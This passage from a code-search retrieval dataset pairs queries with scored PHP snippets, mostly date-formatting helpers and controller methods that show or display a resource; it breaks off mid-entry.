$split[1];\n\t$annee = $split[2];\n\t$dateFinale = $annee.\"-\".$mois.\"-\".$jour; //1990-08-20\n\t\n\treturn $dateFinale;\n}", "title": "" }, { "docid": "367fbb3c8845dcdba3d155579a77c64e", "score": "0.53273714", "text": "public function endOfCentury();", "title": "" }, { "docid": "7f28180d6d15f72f8b9f1c55a946c4e3", "score": "0.53271216", "text": "function edate($format='_j _M _Y',$timestamp=0)\n {\n$hmonths=array(\"\\M\\u\\h\\a\\\\r\\\\r\\a\\m\",\"\\S\\a\\f\\a\\\\r\",\"\\R\\a\\b\\i' \\A\\w\\w\\a\\l\",\"\\R\\a\\b\\i' \\T\\h\\a\\\\n\\i\",\"\\J\\a\\m\\a\\d\\a \\E\\l \\O\\u\\l\\a\",\"\\J\\a\\m\\a\\d\\a \\E\\l \\T\\h\\a\\\\n\\i\\a\\h\",\"\\R\\a\\j\\a\\b\",\"\\S\\h\\a'\\b\\a\\\\n\",\"\\R\\a\\m\\a\\d\\a\\\\n\",\"\\S\\h\\a\\w\\w\\a\\l\",\"\\T\\h\\o\\u\\l \\K\\i'\\d\\a\\h\",\"\\T\\h\\o\\u\\l \\H\\i\\j\\j\\a\\h\");\n\nif ($timestamp==0) {$timestamp=time();}\nlist($w, $mn,$am)=explode(' ', date(\"w n a\",$timestamp));\n$j=intval($timestamp/86400);\n$j=$j+492150; //492534;\n$n = intval($j / 10631);\n$j=$j-($n*10631);\n$y = intval($j / 354.36667);\n$hy = ($n*30)+$y+1;\n$j=$j-round($y*354.36667);\n$z=$j;\n$m = intval($j/29.5);\n$hm = $m+1;\n$j=$j-round($m*29.5);\n$d = $j;\n$hd = intval($d);\n\nIf ($hd == 0) {\n$hd=($hm%2==1)? (29): (30);\n$hm = $hm - 1;\n}\n\nIf ($hm == 0 ) {\n$hm = 12;\n$hy = $hy - 1;\nif (round(($hy%30)*0.36667)>round((($hy-1)%30)*0.36667)) {\n\t$hd=30;\n\t$z=355;\n\t} else {\n\t\t$hd=29;\n\t\t$z=354;\n\t}\n}\n$L=(round(($hy%30)*0.36667)>round((($hy-1)%30)*0.36667))?(1):(0);\n$str='';\nfor ($n=0;$n<=strlen($format);$n++) {\n\t$c=substr($format,$n,1);\nswitch ($c) {\n\tcase \"_\":\n\t\t$n=$n+1;\n\t\tswitch (substr($format,$n,1)) {\n\t\t\tcase \"j\":\n\t\t\t$str.=$hd;\n\t\t\tbreak;\n\t\t\tcase \"d\":\n\t\t\t$str.=str_pad($hd,2,\"0\",STR_PAD_LEFT);\n\t\t\tbreak;\n\t\t\tcase \"z\":\n\t\t\t$str.=$z-1;\n\t\t\tbreak;\n\t\t\tcase \"F\":case \"M\":\n\t\t\t$str.=$hmonths[($hm-1)];\n\t\t\tbreak;\n\t\t\tcase \"t\":\n\t\t\t$t=($hm%2==1)? (30): (29);\n\t\t\tIf ($hm == 12 && $L==1) $t =30;\n\t\t\t$str.=$t;\n\t\t\tbreak;\n\t\t\tcase \"m\":\n\t\t\t$str.=str_pad($hm,2,\"0\",STR_PAD_LEFT);\n\t\t\tbreak;\n\t\t\tcase \"n\":\n\t\t\t$str.=$hm;\n\t\t\tbreak;\n\t\t\tcase \"y\":\n\t\t\t$str.=substr($hy,2);\n\t\t\tbreak;\n\t\t\tcase \"Y\":\n\t\t\t$str.=$hy;\n\t\t\tbreak;\n\t\t\tcase \"L\":\n\t\t\t$str.=$L;\n\t\t\tbreak;\n\t\t}\t\n\tbreak;\n\tcase '\\\\':\n\t$str.=substr($format,$n,2);\n\t$n++;\n\tbreak;\n\tdefault:\n\t$str.=$c;\n\tbreak;\n}\t\n\t\n}\nreturn date($str,$timestamp);\n}", "title": "" }, { "docid": "047cd3f0bb3b4d528d4f73a44b2a133d", "score": "0.532705", "text": "function monthDayYear($submitDate) {\n\t$formattedDate = date(\"F d, Y\", strtotime($submitDate));\n\treturn \"$formattedDate\";\n}", "title": "" }, { "docid": "fa8b388801c7cd652704329857bbac71", "score": "0.5326198", "text": "function dayOfProgrammer ($year) {\r\n return null;\r\n }", "title": "" }, { "docid": "507bca647d7c7d39f960bec65c85c686", "score": "0.532299", "text": "function lib_date_db_to_uk($date) {\n # ymd = y=0, m=1, d=2\n $n = preg_split('#[/\\.-]#', $date);\n\n if (count($n) != 3) {\n return false;\n }\n\n return date(\"j/n/Y\", strtotime(\"{$n[0]}/{$n[1]}/{$n[2]}\"));\n}", "title": "" }, { "docid": "40224d04f5685a32b61b38dd44075737", "score": "0.53172505", "text": "public function dateFormat1($date){\n\t\t\t return date(\"j F Y\",strtotime($date));//Output sample: 14 August 2005\n\t\t }", "title": "" }, { "docid": "306cfb8b64f36ccf0375ace4fe286c80", "score": "0.5311914", "text": "function getMonthTrim($month)\n{\n return floor(((int)$month - 1) / 3) + 1;\n}", "title": "" }, { "docid": "8cfec0277b5b70945d9f41d928852d89", "score": "0.53100723", "text": "function yearForward( $timestamp ){\n return mktime(0,0,0, date(\"m\",$timestamp),date(\"d\",$timestamp),date(\"Y\",$timestamp)+1 );\n}", "title": "" }, { "docid": "197a00f4a3ce98261ab2013d5d6df3f7", "score": "0.5305237", "text": "function formatDate($date)\r\n{\r\n\tglobal $language;\r\n\t$months = ($language == \"fr\")\t? array(\"janvier\", \"février\", \"mars\", \"avril\", \"mai\", \"juin\", \"juillet\", \"août\", \"septembre\", \"octobre\", \"novembre\", \"décembre\")\r\n\t\t\t\t\t\t\t\t\t: array(\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\");\r\n\t$y = (int) substr($date, 0, 2) + 2000;\r\n\t$m = (int) substr($date, 2, 2);\r\n\t$d = (int) substr($date, 4, 2);\r\n\t\r\n\tif ($language == \"fr\")\r\n\t{\r\n\t\t$months = array(\"janvier\", \"février\", \"mars\", \"avril\", \"mai\", \"juin\", \"juillet\", \"août\", \"septembre\", \"octobre\", \"novembre\", \"décembre\");\r\n\t\tif ($d == 1) { $d = \"1er\"; }\r\n\t\treturn $d . \" \" . $months[$m - 1] . \" \" . $y;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$months = array(\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\");\r\n\t\tif ($d == 1) { $d = \"1st\"; }\r\n\t\telse if ($d == 2) { $d = \"2nd\"; }\r\n\t\telse if ($d == 3) { $d = \"3rd\"; }\r\n\t\telse if ($d == 21) { $d = \"21st\"; }\r\n\t\telse if ($d == 22) { $d = \"22nd\"; }\r\n\t\telse if ($d == 23) { $d = \"23rd\"; }\r\n\t\telse if ($d == 31) { $d = \"31st\"; }\r\n\t\telse { $d = $d . \"th\"; }\r\n\t\treturn $months[$m - 1] . \" \" . $d . \", \" . $y;\r\n\t}\r\n}", "title": "" }, { "docid": "91dc8771cd55746e7743c172d807589a", "score": "0.5304231", "text": "function fdate($date)\r\n{\r\n include_once \"jdf.php\";\r\n return jdate(\"l Y/m/d\", strtotime($date));\r\n}", "title": "" }, { "docid": "0677b0646af1aed1a93a6289c5466664", "score": "0.53022784", "text": "function date_calc_get_month() {\n return date_calc_date_now('%m');\n}", "title": "" }, { "docid": "e99a8cdd1ab2b7e9b3acdbbe437ec785", "score": "0.5300535", "text": "function date_calc_date_to_days($day, $month, $year) {\n $century = (int)substr($year, 0, 2);\n $year = (int)substr($year, 2, 2);\n if ($month > 2) {\n $month -= 3;\n }\n else {\n $month += 9;\n if ($year) {\n $year--;\n }\n else {\n $year = 99;\n $century --;\n }\n }\n return (floor((146097 * $century) / 4 ) +\n floor((1461 * $year) / 4 ) +\n floor((153 * $month + 2) / 5 ) +\n $day + 1721119);\n}", "title": "" }, { "docid": "3b0c792754f74f2bdaacb2440aa5bd97", "score": "0.5299762", "text": "function sfdate($date)\r\n{\r\n include_once \"jdf.php\";\r\n return jdate(\"Y-m-d\", strtotime($date));\r\n}", "title": "" }, { "docid": "c0f5a0d6d2361ed8e7c703b652025e4b", "score": "0.52994835", "text": "public function subYear();", "title": "" }, { "docid": "da159bec6bc43898dbbf04fa54b44fc3", "score": "0.52985483", "text": "function printPrevMonth() {\n\n\t\t// what's a day of the week the 1st day of this month ?\n\t\t$firstday = date(\"w\", mktime(0,0,0,$this->month,1,$this->year));\n\t\tif ($firstday > 0) {\n\t\t\t// How many days in last month¡©\n\t\t\t$days_prevmonth = date(\"t\", mktime(0,0,0,$this->month - 1,1,$this->year));\n\t\t\n\t\t\t// insert last days until the 1st day of this month\n\n\t\t\t$days = $days_prevmonth - $firstday + 1;\t// What day is Sunday ?\n\t\t\twhile ($this->col < $firstday) {\n\t\t\t\t$this->calendar['days'][$this->row][$this->col] = $days;\n\t\t\t\t$this->calendar['remarks'][$this->row][$this->col] = \"prevmonth\";\n\t\t\t\t$this->col++;\n\t\t\t\t$days++;\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "4bac3188558c3acab53dd8d5175c1d4e", "score": "0.0", "text": "public function show($id)\n {\n //\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "4a213f970d44ae570e7f216941006306", "score": "0.7264416", "text": "public function setting_show_resource($resource,$resourceFile)\n {\n echo $this->_template_url . '/'.$resource.'/'.$resourceFile;\n }", "title": "" }, { "docid": "fb1ffd800184a0a42701459345c41281", "score": "0.6991857", "text": "public function show(Resource $resource)\n {\n Gate::authorize('view', $resource);\n\n return $resource;\n }", "title": "" }, { "docid": "8e9fe6c0081f8ce768620060cccb65f3", "score": "0.68753964", "text": "public function show($param)\n {\n $resource = Resource::with('tags', 'likesCount', 'user', 'category')\n ->where('id', $param)\n ->orWhere('slug', $param)\n ->firstOrFail();\n\n $initialState = [\n 'resource' => $resource,\n 'currentUser' => Auth::user()\n ];\n\n return response()->view('public.resource', [\n 'appName' => 'resource',\n 'pageName' => $resource->title,\n 'initialState' => $initialState\n ]);\n }", "title": "" }, { "docid": "48b397ea8942d2fa9785a3e43388943e", "score": "0.6725769", "text": "public function show($id)\n\t{\n\t\t$resource = Resource::with('UserResourceLink')->find($id);\n\t\treturn View::make('resources.show')->with('resource', $resource);\n\t}", "title": "" }, { "docid": "2c30b4b167b469c3db298602e7ead28d", "score": "0.6711636", "text": "private function display_item($resource, $item) {\n\t\t$db = $this->db($resource);\n\t\t$item = $db->get($item);\n\n\t\tif ($item) {\n\t\t\t echo json_encode($item);\n\t\t} else {\n\t header('HTTP/1.1 404 Not Found');\n\t }\n\t}", "title": "" }, { "docid": "95bf452408be21abf4a83c19b8bbd6fb", "score": "0.667411", "text": "public function show(string $resource, $id)\n {\n return Jory::byUri($resource)->find($id);\n }", "title": "" }, { "docid": "cd76a0fc79013f2dbdd01b09770768ec", "score": "0.6580917", "text": "public function show($id)\n {\n // $resource = Resource ::find($id);\n // return view('Resource.resource')->with('resource',$resource);\n }", "title": "" }, { "docid": "39dabc4dde3ba3c708fb3782a17fde5c", "score": "0.6434556", "text": "function show( $resource ){\n $product = get( 'products', $resource );\n\n return view( 'admin/product/view_product', compact( 'product' ) );\n}", "title": "" }, { "docid": "0d9d138ae5e21142d7d77d5c45711a1c", "score": "0.6386195", "text": "public function displayAction()\r\n\t{\r\n\t\t// set filters and validators for GET input\r\n\t\t$filters = array(\r\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\r\n\t\t);\r\n\t\t$validators = array(\r\n 'id' => array('NotEmpty', 'Int')\r\n\t\t);\r\n\t\t$input = new Zend_Filter_Input($filters, $validators);\r\n\t\t$input->setData($this->getRequest()->getParams());\r\n\r\n\t\t// test if input is valid\r\n\t\t// retrieve requested record\r\n\t\t// attach to view\r\n\t\tif ($input->isValid()) {\r\n\t\t\t$q = Doctrine_Query::create()\r\n\t\t\t->from('Webteam_Model_Video i')\r\n\t\t\t->where('i.VideoID = ?', $input->id);\r\n\t\t\t$result = $q->fetchArray();\r\n\t\t\tif (count($result) == 1) {\r\n\t\t\t\t$this->view->item = $result[0];\r\n\t\t\t} else {\r\n\t\t\t\tthrow new Zend_Controller_Action_Exception('Page not found', 404);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tthrow new Zend_Controller_Action_Exception('Invalid input');\r\n\t\t}\r\n\r\n\r\n\r\n\r\n\t}", "title": "" }, { "docid": "43c7d44dab00c2107caa033394e76a4e", "score": "0.6370414", "text": "public function display($spec = null)\n {\n $response = $this->fetch($spec);\n $response->display();\n }", "title": "" }, { "docid": "2c8806a4c1933c4361ab0e84ba707311", "score": "0.6274676", "text": "public function show()\n {\n $this->beginAction('show');\n $this->getResource();\n $this->applyHooks(AuthorizeResource::class);\n $this->formatResource();\n\n return $this->makeResponse();\n }", "title": "" }, { "docid": "f99807bc50ee366a325d9c40a162d254", "score": "0.62724066", "text": "public function actionGetInfoResource()\n\t{\n\t\t//die (print_r($_POST));\n\t\t$resource = Yii::app()->db->createCommand()->select('*')->from('ki_resource')\n\t\t\t\t\t\t\t\t->where('lang=:lang AND id=:id', array(':lang' => 'ru_ru', ':id' => $_POST['id']))\n\t\t\t\t\t\t\t\t->queryRow();\n\t\t\n\t\techo $this->renderPartial('_resourceInfo', array('resource' => $resource), true);\n\t}", "title": "" }, { "docid": "c8d2320b9dba46b7850ea9a25da02fad", "score": "0.61858386", "text": "public function viewResource($id)\n {\n $resource = carrierResource::where('resource_id',$id)->get();\n $carrierDetailUserID = carrierResource::where('resource_id',$id)->value('user_id');\n $carrierDetail = carrierDetail::where('user_id',$carrierDetailUserID)->get();\n return view ('resources.resourceDetails', ['resource'=>$resource, 'carrierDetail'=>$carrierDetail]);\n }", "title": "" }, { "docid": "d2e2e944df863de5f56668d68b5f0002", "score": "0.6169535", "text": "public function singleResource(Resource $resource)\n {\n if($resource->resource_status !== 'published')\n abort(404);\n $resource->increment('views');\n \n if (Auth::user()) {\n $userRourceVisit = UserRourceVisit::where('resource_id', $resource->id)->where('user_id', Auth::user()->id)->whereDate('created_at', Carbon::today())->first();\n if (blank($userRourceVisit)) {\n UserRourceVisit::create(['resource_id' => $resource->id, 'user_id' => Auth::user()->id]);\n }\n }\n\n $relatedResources = $this->resourceModel->relatedResources($resource);\n $resources = $this->resourceModel->getResourceByUserId($resource->user_id);\n\n return view('single-resource')\n ->withResource($resource)\n ->withRelated($relatedResources)\n ->withResources($resources);\n }", "title": "" }, { "docid": "f54a56f5688812ff54db4ce8c7ee9e8a", "score": "0.6088493", "text": "public function showAction($id)\n {\n $requestParameterHandler = $this->getRequestParameterHandler();\n $singleResourceRequestHandler = $this->get(self::SINGLE_RESOURCE_HANDLER);\n // TODO ADD Check if the user have authorisation before proceeding from the request.\n\n $resource = $singleResourceRequestHandler->process($id);\n\n if (null !== $resource) {\n $deleteFormView = $this->createDeleteForm(\n $requestParameterHandler\n );\n\n return $this->render(\n $requestParameterHandler->getThemePath(),\n array(\n $requestParameterHandler->getResourceViewName() => $resource,\n 'delete_form' => $deleteFormView,\n )\n );\n }\n // Add a message if the does't not exist.\n throw $this->createNotFoundException(sprintf('The %s %d %s', $requestParameterHandler->getResourceName(), $id, self::NOT_FOUND));\n }", "title": "" }, { "docid": "eb5ce2e515c2c4b1d34c71d116115e47", "score": "0.60823214", "text": "public function getResource($resource);", "title": "" }, { "docid": "ed3d20317cbecdf072f7b882feb64335", "score": "0.6073599", "text": "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Rack ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found',null,true);\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "title": "" }, { "docid": "1f19b3abcb62dd0bf36e4cc2e2e9a4b3", "score": "0.60681057", "text": "public function details($request, $response, $args) {\n $resource_id = $args['id'];\n $resource_details = $this->resource_gateway->get_resource_details($resource_id);\n\n return $this->view->render($response, 'resource/details.html.twig', [\n 'id' => $resource_id,\n 'resource_details' => $resource_details,\n ]);\n }", "title": "" }, { "docid": "c09849a3051e163c36ba622c042416dd", "score": "0.60172373", "text": "public function show($id)\n {\n $resource = $this->model::findOrFail($id);\n\n if (view()->exists($this->basicViewFolder . '.show')) {\n if (request()->ajax()) {\n return view($this->basicViewFolder . '.show', compact('resource'))->render();\n } else {\n return view($this->basicViewFolder . '.show', compact('resource'));\n }\n }\n\n return \" the view \" . $this->basicViewFolder . \".show not found\";\n }", "title": "" }, { "docid": "886db488fd45282953d62e88f2c58889", "score": "0.60164165", "text": "public function showAction($id) {\r\n\r\n $remote = $this->getDoctrine()\r\n ->getRepository('RemotePadMainBundle:Remote')\r\n ->find($id);\r\n\r\n if (!$remote) {\r\n return new Response(\"No Remote found. id: \" . $id, 404);\r\n }\r\n\r\n return $this->render('RemotePadMainBundle:Remote:show.html.twig', array('remote' => $remote));\r\n }", "title": "" }, { "docid": "df63d689055cf5765df52fd5165e28e7", "score": "0.5990083", "text": "abstract function show($identifier);", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "599b6dc077c4d34a9b3b0b168003b106", "score": "0.5974851", "text": "public function viewResource($resourceController, $id) {\n $values = self::getData($resourceController->wrapper($id));\n $function = __FUNCTION__;\n drupal_alter('restws_response', $values, $function, $this->formatName);\n\n return $this->serialize($values);\n }", "title": "" }, { "docid": "e8033cfc300396ea61f2cce5539e61f9", "score": "0.5959599", "text": "public function show() {\n\t\t$this->getOutput()->disable();\n\n\t\ttry {\n\t\t\techo $this->ampRenderer->render( $this->getArticle() );\n\t\t}\n\t\tcatch ( RevisionNotFound $e ) {\n\t\t\t$response = $this->getRequest()->response();\n\t\t\t$response->statusHeader( 302 );\n\t\t\t$response->header( 'Location: ' . $this->getTitle()->getFullURL() );\n\t\t}\n\t}", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "9f057a9bec094dea20c158d2ab8094d7", "score": "0.5936922", "text": "public function show(HrmAssetInformation $asset)\n {\n //\n }", "title": "" }, { "docid": "bb2e29f5f05ab065358c99c7225d6dc0", "score": "0.59295714", "text": "public function show(rc $rc)\n {\n //\n }", "title": "" }, { "docid": "9f2521adfd0849eebb7acbb6e94d94a0", "score": "0.592653", "text": "public function show($id) // show a single record\n {\n //\n }", "title": "" }, { "docid": "c356495b91bbab48f9b27e5a5ce7089e", "score": "0.59247625", "text": "public function display()\n {\n if (!current_user_can($this->capability)) {\n wp_die(__('You do not have sufficient permissions to access this page.', $this->textDomain));\n }\n\n $this->view->render();\n }", "title": "" }, { "docid": "151fea634645ed45ca7e8eb127afba25", "score": "0.59127665", "text": "public function show(Resource $resource)\n {\n $now = new \\DateTime('now');\n $reservations = $resource->reservationsIn($now->format('m'));\n\n\n $event_list = [];\n foreach ($reservations as $key => $reservation) {\n $event_list[] = Calendar::event(\n $reservation->user->name,\n false,\n new \\DateTime($reservation->start_time),\n new \\DateTime($reservation->end_time),\n null\n );\n }\n\n $calendar_details = Calendar::addEvents($event_list);\n\n return view('GeneralViews.ResourcesViews.Calendar.view', compact('calendar_details'));\n }", "title": "" }, { "docid": "301defef90a746cf93478d6f4bfc5091", "score": "0.5905301", "text": "public function show($id)\n {\n $model = $this->resourceModel;\n return $model::find($id);\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "447c87b0b6a3806d4bab38780df02aa1", "score": "0.5881883", "text": "public function displayTask($rid=null, $version=null)\n\t{\n\t\t$this->view->setLayout('display');\n\n\t\t// Incoming\n\t\tif (!$rid)\n\t\t{\n\t\t\t$rid = Request::getInt('rid', 0);\n\t\t}\n\t\tif (!$version)\n\t\t{\n\t\t\t$version = Request::getString('version', 'dev');\n\t\t}\n\n\t\t// Ensure we have an ID to work with\n\t\tif (!$rid)\n\t\t{\n\t\t\tApp::abort(500, Lang::txt('COM_TOOLS_CONTRIBUTE_NO_ID'));\n\t\t\treturn;\n\t\t}\n\t\t// Get resource information\n\t\t$resource = Entry::oneOrFail($rid);\n\n\t\t// Get version id\n\t\t$objV = new \\Components\\Tools\\Tables\\Version($this->database);\n\t\t$vid = $objV->getVersionIdFromResource($rid, $version);\n\n\t\t// Do we have a published tool?\n\t\t$this->view->published = $objV->getCurrentVersionProperty($resource->alias, 'id');\n\n\t\t// Get screenshot information for this resource\n\t\t$this->view->shots = $resource->screenshots()\n\t\t\t->whereEquals('versionid', $vid)\n\t\t\t->ordered()\n\t\t\t->rows();\n\n\t\t// Build paths\n\t\t$path = $resource->relativepath();\n\t\t$this->view->upath = PATH_APP . DS . trim($this->rconfig->get('uploadpath'), DS) . $path;\n\t\t$this->view->wpath = DS . trim($this->rconfig->get('uploadpath'), DS) . $path;\n\t\tif ($vid)\n\t\t{\n\t\t\t$this->view->upath .= DS . $vid;\n\t\t\t$this->view->wpath .= DS . $vid;\n\t\t}\n\n\t\t// Make sure wpath is preceded by app\n\t\tif (substr($this->view->wpath, 0, 4) != DS . 'app')\n\t\t{\n\t\t\t$this->view->wpath = DS . 'app' . $this->view->wpath;\n\t\t}\n\n\t\t// get config\n\t\t$this->view->cparams = Component::params('com_resources');\n\t\t$this->view->version = $version;\n\t\t$this->view->rid = $rid;\n\n\t\tforeach ($this->getErrors() as $error)\n\t\t{\n\t\t\t$this->view->setError($error);\n\t\t}\n\n\t\t// Output HTML\n\t\t$this->view->display();\n\t}", "title": "" }, { "docid": "2d9ba0bfae0a8169414d51cb94341bff", "score": "0.58672357", "text": "public function displayDoc($resource_name, $cache_id=null, $compile_id=null, $parent = null)\n {\n $this->_smarty_vars['template'] = $resource_name; // Added so that the template name would be accessible within the outputfilter\n $this->fetchDoc($resource_name, $cache_id, $compile_id, $parent);\n }", "title": "" }, { "docid": "313cd42e65f168efe8cb0ed49ea30ce1", "score": "0.58634895", "text": "public function displayAction(){\n \n // set filters and validators for GET input\n $filters = array(\n 'id' => array(\n 'HtmlEntities', \n 'StripTags', \n 'StringTrim'\n )\n );\n \n $validators = array(\n 'id' => array(\n 'NotEmpty', \n 'Int'\n )\n );\n \n // Zend_Filter_Input can validate, filter and escape input.\n // retrieve requested record\n // attach to view\n $input = new Zend_Filter_Input($filters, $validators);\n \n $input->setData($this->getRequest()\n ->getParams());\n \n if($input->isValid()) {\n \n // create service\n $service = new Catalog_Service_ItemService();\n \n $stamp_item = $service->getDisplayableItemIfNotExpired($input->id);\n \n if(isset($stamp_item)) {\n \n $this->view->stamp_item = $stamp_item; // store the StampItem in\n // the view.\n \n } else { // entity not found\n \n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n \n } else { // not valid input\n \n throw new Zend_Controller_Action_Exception('Invalid input');\n \n } // endif\n }", "title": "" }, { "docid": "18b1a953d7b4f38d94ba36d78e007c30", "score": "0.5862241", "text": "public function display() {\n require $this->layout;\n }", "title": "" }, { "docid": "f1c47ce6af2faf1f1d79c5449022ee8c", "score": "0.58610433", "text": "public function show($id) {\n return Resource::find($id);\n }", "title": "" }, { "docid": "5dc30ed0a3c41d7bf4354e7bfd2d3260", "score": "0.58572257", "text": "protected function addResourceShow($name, $base, $controller)\n\t{\n\t\t$uri = $this->getResourceUri($name).'/{'.$base.'}';\n\n\t\treturn $this->get($uri, $this->getResourceAction($name, $controller, 'show'));\n\t}", "title": "" }, { "docid": "a57eaaa12abdbabb675c82237206d780", "score": "0.58206403", "text": "public function displayResourceUsing(string $resource, callable $displayResourceCallback)\n {\n $this->displayResourceCallback[$resource] = $displayResourceCallback;\n\n return $this;\n }", "title": "" }, { "docid": "3133b3b1b52a90fd561fc5996432c0e7", "score": "0.58170664", "text": "public function show($id)\n {\n return $this->responseItem(['title' => 'Đây là resource show ' . $id]);\n }", "title": "" }, { "docid": "1b6934d948dba93be88f01d4f4cde49a", "score": "0.58158535", "text": "public function display($context);", "title": "" }, { "docid": "935c4042b3fe02e20c14c171b86ae1d7", "score": "0.5801874", "text": "public function shouldDisplayResource($resource)\n {\n return $this->metaValue('resources.'.$resource::uriKey());\n }", "title": "" }, { "docid": "0c7f3ae23b93225868fde0e649f535aa", "score": "0.57749224", "text": "public function show(ShowResourceRequest $request, $id)\n {\n }", "title": "" }, { "docid": "b5b132820f922eef4e644b41ff67adde", "score": "0.57740575", "text": "public function show($id)\n\t{\n\t\t// unneeded for this project\n\t}", "title": "" }, { "docid": "cdbe9eb27e47a619361449d5953ad429", "score": "0.57726145", "text": "public function display()\n {\n\n $this->component->display();\n }", "title": "" }, { "docid": "fbea10219f07495b19ed6548d4ede1a4", "score": "0.5764195", "text": "public function show($id)\n\t{\n\t\t// not supported\n\t}", "title": "" }, { "docid": "cb35029e70932874ca4a7420e41f6917", "score": "0.5749518", "text": "public function discoverAction()\n {\n $this->view->title .= ' - Avaliable Resource';\n\n $data = array_values($this->_findResource());\n\n $this->view->data = $data;\n }", "title": "" }, { "docid": "7aa11579ff48f6202a3402f35980a6d7", "score": "0.574863", "text": "public function show(RestRequestInterface $request, $identifier);", "title": "" }, { "docid": "7fb606c6d980259fc7bc2be7fb3892f7", "score": "0.57364357", "text": "public function display()\n \t{\n \t\techo $this->render();\n \t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "b5e7179ea7c94add1c1af50e9f9b7fdd", "score": "0.57208323", "text": "public function show($id)\n\t{\n\t\n\t}", "title": "" }, { "docid": "7b33ab8280dac7d9e7f301bb46885ef2", "score": "0.57203656", "text": "public function display($action, $status);", "title": "" }, { "docid": "7eca9a150b08650a78b0cbe2467767e8", "score": "0.5714993", "text": "public function show()\n {\n return view('redistask::show');\n }", "title": "" }, { "docid": "a4bb0929797f59b1f372c0ea97423933", "score": "0.5714916", "text": "public function show()\n {\n $product = $this->model('IndexModel')->get($this->getParam()['id']);\n\n $this->template('show', $product);\n }", "title": "" }, { "docid": "91b6c2566d39e03a0eef7bad0aebcd5a", "score": "0.5707991", "text": "public function detailsAction()\n {\n // Get id from url params and check if record exist\n $params = $this->router->getParams();\n if (isset($params[0]) && $device = Devices::findFirst($params[0])) {\n $this->tag->setTitle(__('Devices') . ' / ' . __('Details'));\n $this->view->setVars([\n 'device' => $device,\n ]);\n } else {\n parent::notFoundAction();\n }\n }", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "95c8e483ffde08b500f0a18be5d683d2", "score": "0.5704582", "text": "public function display() {\n\t$this->getRenderer()->dispatch($this);\n\n }", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) 